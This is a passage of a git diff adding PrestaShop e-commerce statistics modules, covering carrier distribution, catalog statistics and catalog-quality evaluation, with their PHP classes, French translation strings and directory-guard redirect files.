de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestvouchers2/index.php b/modules/statsbestvouchers2/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestvouchers2/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestvouchers2/logo.gif b/modules/statsbestvouchers2/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestvouchers2/logo.gif differ diff --git a/modules/statsbestvouchers2/logo.png b/modules/statsbestvouchers2/logo.png new file mode 100755 index 0000000..69ea1db Binary files /dev/null and b/modules/statsbestvouchers2/logo.png differ diff --git a/modules/statsbestvouchers2/translations/fr.php b/modules/statsbestvouchers2/translations/fr.php new file mode 100755 index 0000000..fe930b6 --- /dev/null +++ b/modules/statsbestvouchers2/translations/fr.php @@ -0,0 +1,13 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestvouchers2/translations/index.php b/modules/statsbestvouchers2/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestvouchers2/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscarrier/index.php b/modules/statscarrier/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscarrier/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscarrier/logo.gif b/modules/statscarrier/logo.gif new file mode 100755 index 0000000..482ceea Binary files /dev/null and b/modules/statscarrier/logo.gif differ diff --git a/modules/statscarrier/logo.png b/modules/statscarrier/logo.png new file mode 100755 index 0000000..ff6247f Binary files /dev/null and b/modules/statscarrier/logo.png differ diff --git a/modules/statscarrier/statscarrier.php b/modules/statscarrier/statscarrier.php new file mode 100755 index 0000000..e50329a --- /dev/null +++ b/modules/statscarrier/statscarrier.php @@ -0,0 +1,116 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsCarrier extends ModuleGraph +{ + private $_html = ''; + private $_query = ''; + private $_query2 = ''; + private $_option = ''; + + public function __construct() + { + $this->name = 'statscarrier'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Carrier distribution'); + $this->description = $this->l('Display each carriers\' distribution. '); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $sql = 'SELECT COUNT(o.`id_order`) as total + FROM `'._DB_PREFIX_.'orders` o + WHERE o.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + '.((int)Tools::getValue('id_order_state') ? 'AND (SELECT oh.id_order_state FROM `'._DB_PREFIX_.'order_history` oh WHERE o.id_order = oh.id_order ORDER BY oh.date_add DESC, oh.id_order_history DESC LIMIT 1) = '.(int)Tools::getValue('id_order_state') : ''); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + $states = OrderState::getOrderStates($this->context->language->id); + + if (Tools::getValue('export')) + $this->csvExport(array('type' => 'pie', 'option' => Tools::getValue('id_order_state'))); + $this->_html = ' +

        '.$this->displayName.'

        +
        + + +
        +

        '.$this->l('This graph represents the carrier distribution for your orders. You can also narrow the focus of the graph to display distribution for a particular state.').'

        + '.($result['total'] ? $this->engine(array('type' => 'pie', 'option' => Tools::getValue('id_order_state'))).'

        '.$this->l('CSV Export').'' : $this->l('No valid orders have been received for this period.')).' +
        '; + return $this->_html; + } + + public function setOption($option, $layers = 1) + { + $this->_option = (int)$option; + } + + protected function getData($layers) + { + $stateQuery = ''; + if ((int)$this->_option) + $stateQuery = 'AND ( + SELECT oh.id_order_state FROM `'._DB_PREFIX_.'order_history` oh + WHERE o.id_order = oh.id_order + ORDER BY oh.date_add DESC, oh.id_order_history DESC + LIMIT 1) = '.(int)$this->_option; + $this->_titles['main'] = $this->l('Percentage of orders listed by carrier.'); + + $sql = 'SELECT c.name, COUNT(DISTINCT o.`id_order`) as total + FROM `'._DB_PREFIX_.'carrier` c + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.id_carrier = c.id_carrier + WHERE o.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + '.$stateQuery.' + GROUP BY c.`id_carrier`'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = $row['name']; + } + } +} + + diff --git a/modules/statscarrier/translations/en.php b/modules/statscarrier/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statscarrier/translations/fr.php b/modules/statscarrier/translations/fr.php new file mode 100755 index 0000000..99a0738 --- /dev/null +++ b/modules/statscarrier/translations/fr.php @@ -0,0 +1,13 @@ +statscarrier_2e6774abc54cb13cef2c5bfd5a2cb463'] = 'Répartition par transporteur'; +$_MODULE['<{statscarrier}prestashop>statscarrier_c521b5a8b0e2966709e4338368e59054'] = 'Affiche la répartition des commandes par transporteur'; +$_MODULE['<{statscarrier}prestashop>statscarrier_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tout afficher'; +$_MODULE['<{statscarrier}prestashop>statscarrier_d7778d0c64b6ba21494c97f77a66885a'] = 'Filtrer'; +$_MODULE['<{statscarrier}prestashop>statscarrier_b4db3f09700b25a1acc487d3488d0216'] = 'Ce graphique représente la répartition des transporteurs pour vos commandes. Il est également possible de filtrer par état de commande.'; +$_MODULE['<{statscarrier}prestashop>statscarrier_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statscarrier}prestashop>statscarrier_ae916988f1944283efa2968808a71287'] = 'Aucune commande valide pour cette période.'; +$_MODULE['<{statscarrier}prestashop>statscarrier_d5b9d0daaf017332f1f8188ab2a3f802'] = 'Pourcentage de commandes par transporteur'; diff --git a/modules/statscarrier/translations/index.php b/modules/statscarrier/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscarrier/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscatalog/application_home.png b/modules/statscatalog/application_home.png new file mode 100755 index 0000000..b60d0c8 Binary files /dev/null and b/modules/statscatalog/application_home.png differ diff --git a/modules/statscatalog/basket_delete.png b/modules/statscatalog/basket_delete.png new file mode 100755 index 0000000..1349974 Binary files /dev/null and b/modules/statscatalog/basket_delete.png differ diff --git a/modules/statscatalog/index.php b/modules/statscatalog/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscatalog/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscatalog/logo.gif b/modules/statscatalog/logo.gif new file mode 100755 index 0000000..3b7ff6f Binary files /dev/null and b/modules/statscatalog/logo.gif differ diff --git a/modules/statscatalog/logo.png b/modules/statscatalog/logo.png new file mode 100755 index 0000000..45c9edf Binary files /dev/null and b/modules/statscatalog/logo.png differ diff --git a/modules/statscatalog/page_edit.png b/modules/statscatalog/page_edit.png new file mode 100755 index 0000000..046811e Binary files /dev/null and b/modules/statscatalog/page_edit.png differ diff --git a/modules/statscatalog/statscatalog.php b/modules/statscatalog/statscatalog.php new file mode 100755 index 0000000..7001173 --- /dev/null +++ b/modules/statscatalog/statscatalog.php @@ -0,0 +1,237 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsCatalog extends Module +{ + private $_join = ''; + private $_where = ''; + + public function __construct() + { + $this->name = 'statscatalog'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Catalog statistics'); + $this->description = $this->l('General statistics about your catalog.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function getQuery1() + { + $sql = 'SELECT COUNT(DISTINCT p.`id_product`) AS total, SUM(product_shop.`price`) / COUNT(product_shop.`price`) AS average_price, COUNT(DISTINCT i.`id_image`) AS images + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON i.`id_product` = p.`id_product` + '.$this->_join.' + WHERE product_shop.`active` = 1 + '.$this->_where; + return DB::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + } + + public function getTotalPageViewed() + { + $sql = 'SELECT SUM(pv.`counter`) AS viewed + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'page` pa ON p.`id_product` = pa.`id_object` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON (pt.`id_page_type` = pa.`id_page_type` AND pt.`name` = \'product.php\') + LEFT JOIN `'._DB_PREFIX_.'page_viewed` pv ON pv.`id_page` = pa.`id_page` + '.$this->_join.' + WHERE product_shop.`active` = 1 + '.$this->_where; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return isset($result['viewed']) ? $result['viewed'] : 0; + } + + public function getTotalProductViewed() + { + $sql = 'SELECT COUNT(DISTINCT pa.`id_object`) + FROM `'._DB_PREFIX_.'page_viewed` pv + LEFT JOIN `'._DB_PREFIX_.'page` pa ON pv.`id_page` = pa.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = pa.`id_page_type` + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = pa.`id_object` + '.Shop::addSqlAssociation('product', 'p').' + '.$this->_join.' + WHERE pt.`name` = \'product.php\' + AND product_shop.`active` = 1 + '.$this->_where; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function getTotalBought() + { + $sql = 'SELECT SUM(od.`product_quantity`) AS bought + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.`id_order` = od.`id_order` + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = od.`product_id` + '.$this->_join.' + WHERE o.valid = 1 + '.$this->_where; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return isset($result['bought']) ? $result['bought'] : 0; + } + + public function getProductsNB($id_lang) + { + $sql = 'SELECT p.`id_product` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.`id_order` = od.`id_order` + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = od.`product_id` + '.Shop::addSqlAssociation('product', 'p').' + '.$this->_join.' + WHERE o.valid = 1 + '.$this->_where.' + AND product_shop.`active` = 1 + GROUP BY p.`id_product`'; + $precalc = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $precalc2 = array(); + foreach ($precalc as $array) + $precalc2[] = (int)$array['id_product']; + + $sql = 'SELECT p.id_product, pl.name, pl.link_rewrite + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (pl.`id_product` = p.`id_product` AND pl.id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + '.$this->_join.' + WHERE product_shop.`active` = 1 + '.(count($precalc2) ? 'AND p.`id_product` NOT IN ('.implode(',', $precalc2).')' : '').' + '.$this->_where; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return array('total' => Db::getInstance(_PS_USE_SQL_SLAVE_)->NumRows(), 'result' => $result); + } + + public function hookAdminStatsModules($params) + { + $categories = Category::getCategories($this->context->language->id, true, false); + $productToken = Tools::getAdminToken('AdminProducts'.(int)(Tab::getIdFromClassName('AdminProducts')).(int)$this->context->employee->id); + $irow = 0; + + if ($id_category = (int)(Tools::getValue('id_category'))) + { + $this->_join = ' LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_product` = p.`id_product`)'; + $this->_where = ' AND cp.`id_category` = '.$id_category; + } + + $result1 = $this->getQuery1(true); + $total = $result1['total']; + $averagePrice = $result1['average_price']; + $totalPictures = $result1['images']; + $averagePictures = $total ? $totalPictures / $total : 0; + + $neverBought = $this->getProductsNB($this->context->language->id); + $totalNB = $neverBought['total']; + $productsNB = $neverBought['result']; + + $totalBought = $this->getTotalBought(); + $averagePurchase = $total ? ($totalBought / $total) : 0; + + $totalPageViewed = $this->getTotalPageViewed(); + $averageViewed = $total ? ($totalPageViewed / $total) : 0; + $conversion = number_format((float)($totalPageViewed ? ($totalBought / $totalPageViewed) : 0), 2, '.', ''); + if ($conversionReverse = number_format((float)($totalBought ? ($totalPageViewed / $totalBought) : 0), 2, '.', '')) + $conversion .= sprintf($this->l('(1 purchase / %d visits)'), $conversionReverse); + + $totalNV = $total - $this->getTotalProductViewed(); + + $html = ' + +

        '.$this->displayName.'

        +
        +
        + + +
        +
        + + '.$this->returnLine($this->l('Products available:'), (int)$total).' + '.$this->returnLine($this->l('Average price (base price):'), Tools::displayPrice($averagePrice, $this->context->currency)).' + '.$this->returnLine($this->l('Product pages viewed:'), (int)$totalPageViewed).' + '.$this->returnLine($this->l('Products bought:'), (int)$totalBought).' + '.$this->returnLine($this->l('Average number of page visits:'), number_format((float)$averageViewed, 2, '.', '')).' + '.$this->returnLine($this->l('Average number of purchases:'), number_format((float)$averagePurchase, 2, '.', '')).' + '.$this->returnLine($this->l('Images available:'), (int)$totalPictures).' + '.$this->returnLine($this->l('Average number of images:'), number_format((float)$averagePictures, 2, '.', '')).' + '.$this->returnLine($this->l('Products never viewed:'), (int)$totalNV.' / '.(int)$total).' + '.$this->returnLine(''.$this->l('Products never purchased:').'', (int)$totalNB.' / '.(int)$total).' + '.$this->returnLine($this->l('Conversion rate*:'), $conversion).' +
        +
        + * + '.$this->l('Define the average conversion rate for the product page (It is possible to purchase a product without viewing the product page, so this rate can be greater than 1).').' +
        +
        '; + + if (count($productsNB) && count($productsNB) < 50) + { + $html .= '
        +

        '.$this->l('Products never purchased').'

        + + '; + foreach ($productsNB as $product) + $html .= ' + + + + + '; + $html .= ' +
        '.$this->l('ID').''.$this->l('Name').''.$this->l('Edit / View').'
        '.$product['id_product'].''.$product['name'].' + + +
        +
        '; + } + return $html; + } + + private function returnLine($label, $data) + { + return ''.$label.''.$data.''; + } +} \ No newline at end of file diff --git a/modules/statscatalog/translations/en.php b/modules/statscatalog/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statscatalog/translations/fr.php b/modules/statscatalog/translations/fr.php new file mode 100755 index 0000000..55f7200 --- /dev/null +++ b/modules/statscatalog/translations/fr.php @@ -0,0 +1,26 @@ +statscatalog_cf3aa21c6a2147ddbd86f34091daeccd'] = 'Statistiques catalogue'; +$_MODULE['<{statscatalog}prestashop>statscatalog_226ed1224c5b2db3d3e0716bb4f74da5'] = 'Statistiques générales sur le catalogue'; +$_MODULE['<{statscatalog}prestashop>statscatalog_74cda5a02df704cc5c3e8fee7fc0f7bc'] = '(1 achat / %d visites)'; +$_MODULE['<{statscatalog}prestashop>statscatalog_0173374ac20f5843d58b553d5b226ef6'] = 'Choisissez une catégorie'; +$_MODULE['<{statscatalog}prestashop>statscatalog_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statscatalog}prestashop>statscatalog_a7b623414d4b6a3225b4e935babec6d2'] = 'Produits disponibles :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_1099377f1598a0856e2457a5145d89c2'] = 'Prix moyen (HT) :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_48a93dc02c74f3065af1ba47fca070d0'] = 'Pages produit vues :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_156e5c5872c9af24a5c982da07a883c2'] = 'Produits achetés :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_85f179d4142ca061d49605a7fffdc09d'] = 'Nombre moyen de visites :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_05ff4bfc3baf0acd31a72f1ac754de04'] = 'Nombre moyen d\'achats :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_c09d09e371989d89847049c9574b6b8e'] = 'Images disponibles :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_65275d1b04037d8c8e42425002110363'] = 'Nombre moyen d\'images :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_51b8891d531ad91128ba58c8928322ab'] = 'Produits jamais consultés :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_8725647ef741e5d48c1e6f652ce80b50'] = 'Produits jamais achetés :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_b86770bc713186bcf43dbb1164c5fd28'] = 'Taux de transformation* :'; +$_MODULE['<{statscatalog}prestashop>statscatalog_0468e0edbf9f5807c25c106248bd7401'] = 'Taux de transformation moyen pour une page produit. Un produit pouvant être acheté sans passer par sa page dédiée, cet indicateur peut être supérieur à 1.'; +$_MODULE['<{statscatalog}prestashop>statscatalog_58a714d3e9bb2902a5b688c99bd4d8e6'] = 'Produits jamais achetés'; +$_MODULE['<{statscatalog}prestashop>statscatalog_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statscatalog}prestashop>statscatalog_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statscatalog}prestashop>statscatalog_8e7c9a35104a5a68199678bd6bc5d187'] = 'Editer / Voir'; diff --git a/modules/statscatalog/translations/index.php b/modules/statscatalog/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscatalog/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscheckup/green.png b/modules/statscheckup/green.png new file mode 100755 index 0000000..516bb0c Binary files /dev/null and b/modules/statscheckup/green.png differ diff --git a/modules/statscheckup/index.php b/modules/statscheckup/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscheckup/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statscheckup/logo.gif b/modules/statscheckup/logo.gif new file mode 100755 index 0000000..78c325d Binary files /dev/null and b/modules/statscheckup/logo.gif differ diff --git a/modules/statscheckup/logo.png b/modules/statscheckup/logo.png new file mode 100755 index 0000000..45c9edf Binary files /dev/null and b/modules/statscheckup/logo.png differ diff --git a/modules/statscheckup/orange.png b/modules/statscheckup/orange.png new file mode 100755 index 0000000..2b2a20a Binary files /dev/null and b/modules/statscheckup/orange.png differ diff --git a/modules/statscheckup/red.png b/modules/statscheckup/red.png new file mode 100755 index 0000000..4c075e1 Binary files /dev/null and b/modules/statscheckup/red.png differ diff --git a/modules/statscheckup/statscheckup.php b/modules/statscheckup/statscheckup.php new file mode 100755 index 0000000..78fef97 --- /dev/null +++ b/modules/statscheckup/statscheckup.php @@ -0,0 +1,303 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsCheckUp extends Module +{ + private $html = ''; + + public function __construct() + { + $this->name = 'statscheckup'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Catalog evaluation'); + $this->description = $this->l('Quick evaluation of your catalog quality.'); + } + + public function install() + { + $confs = array( + 'CHECKUP_DESCRIPTIONS_LT'=>100, + 'CHECKUP_DESCRIPTIONS_GT'=>400, + 'CHECKUP_IMAGES_LT'=>1, + 'CHECKUP_IMAGES_GT'=>2, + 'CHECKUP_SALES_LT'=>1, + 'CHECKUP_SALES_GT'=>2, + 'CHECKUP_STOCK_LT'=>1, + 'CHECKUP_STOCK_GT'=>3 + ); + foreach ($confs as $confname => $confdefault) + if (!Configuration::get($confname)) + Configuration::updateValue($confname, (int)$confdefault); + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules() + { + if (Tools::isSubmit('submitCheckup')) + { + $confs = array( + 'CHECKUP_DESCRIPTIONS_LT', + 'CHECKUP_DESCRIPTIONS_GT', + 'CHECKUP_IMAGES_LT', + 'CHECKUP_IMAGES_GT', + 'CHECKUP_SALES_LT', + 'CHECKUP_SALES_GT', + 'CHECKUP_STOCK_LT', + 'CHECKUP_STOCK_GT' + ); + foreach ($confs as $confname) + Configuration::updateValue($confname, (int)Tools::getValue($confname)); + echo '
        '.$this->l('Configuration updated').'
        '; + } + + if (Tools::isSubmit('submitCheckupOrder')) + { + $this->context->cookie->checkup_order = (int)Tools::getValue('submitCheckupOrder'); + echo '
        '.$this->l('Configuration updated').'
        '; + } + + if (!isset($this->context->cookie->checkup_order)) + $this->context->cookie->checkup_order = 1; + + $db = Db::getInstance(_PS_USE_SQL_SLAVE_); + $employee = Context::getContext()->employee; + $prop30 = ((strtotime($employee->stats_date_to.' 23:59:59') - strtotime($employee->stats_date_from.' 00:00:00')) / 60 / 60 / 24) / 30; + + // Get languages + $sql = 'SELECT l.* + FROM '._DB_PREFIX_.'lang l' + .Shop::addSqlAssociation('lang', 'l'); + $languages = $db->executeS($sql); + + $arrayColors = array( + 0 => ''.$this->l('Bad').'', + 1 => ''.$this->l('Average').'', + 2 => ''.$this->l('Good').'' + ); + $tokenProducts = Tools::getAdminToken('AdminProducts'.(int)(Tab::getIdFromClassName('AdminProducts')).(int)Context::getContext()->employee->id); + $divisor = 4; + $totals = array('products' => 0, 'active' => 0, 'images' => 0, 'sales' => 0, 'stock' => 0); + foreach ($languages as $language) + { + $divisor++; + $totals['description_'.$language['iso_code']] = 0; + } + + $orderBy = 'p.id_product'; + if ($this->context->cookie->checkup_order == 2) + $orderBy = 'pl.name'; + else if ($this->context->cookie->checkup_order == 3) + $orderBy = 'nbSales DESC'; + + // Get products stats + $sql = 'SELECT p.id_product, product_shop.active, pl.name, ( + SELECT COUNT(*) + FROM '._DB_PREFIX_.'image i + '.Shop::addSqlAssociation('image', 'i').' + WHERE i.id_product = p.id_product + ) as nbImages, ( + SELECT SUM(od.product_quantity) + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_detail od ON o.id_order = od.id_order + WHERE od.product_id = p.id_product + AND o.invoice_date BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + ) as nbSales, + IFNULL(stock.quantity, 0) as stock + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + '.Product::sqlStock('p', 0).' + LEFT JOIN '._DB_PREFIX_.'product_lang pl + ON (p.id_product = pl.id_product AND pl.id_lang = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('pl').') + ORDER BY '.$orderBy; + $result = $db->executeS($sql); + + if (!$result) + return $this->l('No product was found.'); + + $arrayConf = array( + 'DESCRIPTIONS' => array('name' => $this->l('Descriptions'), 'text' => $this->l('Chars (without HTML)')), + 'IMAGES' => array('name' => $this->l('Images'), 'text' => $this->l('Images')), + 'SALES' => array('name' => $this->l('Sales'), 'text' => $this->l('orders / month')), + 'STOCK' => array('name' => $this->l('Available quantity for sale'), 'text' => $this->l('Items')) + ); + + $this->html = ' + +
        +
        + + + + + + '; + foreach ($arrayConf as $conf => $translations) + $this->html .= ' + + + + '; + $this->html .= '
        '.$arrayColors[0].' '.$this->l('Not enough').''.$arrayColors[2].' '.$this->l('Alright').'
        '.$translations['name'].''.$this->l('Less than').' + '.$translations['text'].' + '.$this->l('Greater than').' + '.$translations['text'].' +
        +
        +
        +
        +
        +
        +
        + '.$this->l('Order by').' + +
        +
        + + + + + '; + foreach ($languages as $language) + $this->html .= ''; + $this->html .= ' + + + + + '; + foreach ($result as $row) + { + $totals['products']++; + $scores = array( + 'active' => ($row['active'] ? 2 : 0), + 'images' => ($row['nbImages'] < Configuration::get('CHECKUP_IMAGES_LT') ? 0 : ($row['nbImages'] > Configuration::get('CHECKUP_IMAGES_GT') ? 2 : 1)), + 'sales' => (($row['nbSales'] * $prop30 < Configuration::get('CHECKUP_SALES_LT')) ? 0 : (($row['nbSales'] * $prop30 > Configuration::get('CHECKUP_SALES_GT')) ? 2 : 1)), + 'stock' => (($row['stock'] < Configuration::get('CHECKUP_STOCK_LT')) ? 0 : (($row['stock'] > Configuration::get('CHECKUP_STOCK_GT')) ? 2 : 1)), + ); + $totals['active'] += (int)$scores['active']; + $totals['images'] += (int)$scores['images']; + $totals['sales'] += (int)$scores['sales']; + $totals['stock'] += (int)$scores['stock']; + $descriptions = $db->executeS(' + SELECT l.iso_code, pl.description + FROM '._DB_PREFIX_.'product_lang pl + LEFT JOIN '._DB_PREFIX_.'lang l + ON pl.id_lang = l.id_lang + WHERE id_product = '.(int)$row['id_product'].Shop::addSqlRestrictionOnLang('pl')); + foreach ($descriptions as $description) + { + $row['desclength_'.$description['iso_code']] = Tools::strlen(strip_tags($description['description'])); + $scores['description_'.$description['iso_code']] = ($row['desclength_'.$description['iso_code']] < Configuration::get('CHECKUP_DESCRIPTIONS_LT') 